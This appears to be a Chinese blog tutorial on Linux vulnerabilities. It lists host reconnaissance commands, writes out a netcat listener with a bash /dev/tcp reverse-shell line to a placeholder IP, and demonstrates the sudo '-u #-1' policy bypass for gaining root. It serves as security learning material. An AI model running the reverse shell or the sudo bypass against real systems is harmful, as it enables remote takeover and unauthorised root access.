01-Linux的漏洞

O、用于测试Linux命令

## 命令查看正在运行的进程
ps -ef   
## 查看正在监听的端口
netstat -lntp
# 包括:端口号、进程名、端口访问性、绑定IP、协议、PID、运行用户、启动时间、启动参数。

## 查看主机的启动项(ll /etc/init.d/)、计划任务(crontab -l)、安装包(rpm -qa)、环境变量(env)、内核模块(cat /proc/version)

## 检测主机反弹shell攻击并告警
# 远程连接控制的主机(退出需要在该主机上退出,类似于ssh)
nc -l -v -p 4444  
# 被远程连接控制的主机
bash -i >& /dev/tcp/x.x.x.x/4444 0>&1


一、sudo的提权漏洞

sudo 是Linux系统命令,让普通账号以root身份去执行某些命令,比如:安装软件、查看某些配置文件、关机、重启等操作、如果普通用户需要使用sudo,需要将修改配置文件/etc/sudoers,将sudo使用权赋予该账号
sudo 提权漏洞是一个安全策略绕过

### 查看版本信息
sudo -V
### 修改配置文件
vim /etc/sudoers
在root ALL=(ALL:ALL) ALL   下面添加一行配置:test ALL=(ALL,!root) ALL

在这里插入图片描述

注意:需创建test用户:useradd test   passwd test ,修改完配置文件保存退出::wq!
  rest   表示test用户
  第一个ALL   表示用户可以在任意地方使用sudo
  第二个(ALL,!root)   表示命令可以被除了root以外的任意用户执行
  最后面的ALL   表示被允许执行
  整体: test用户可以使用sudo,但是除了root以外的任意用户去执行命令
  执行root权限命令:sudo -u #-1 id
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值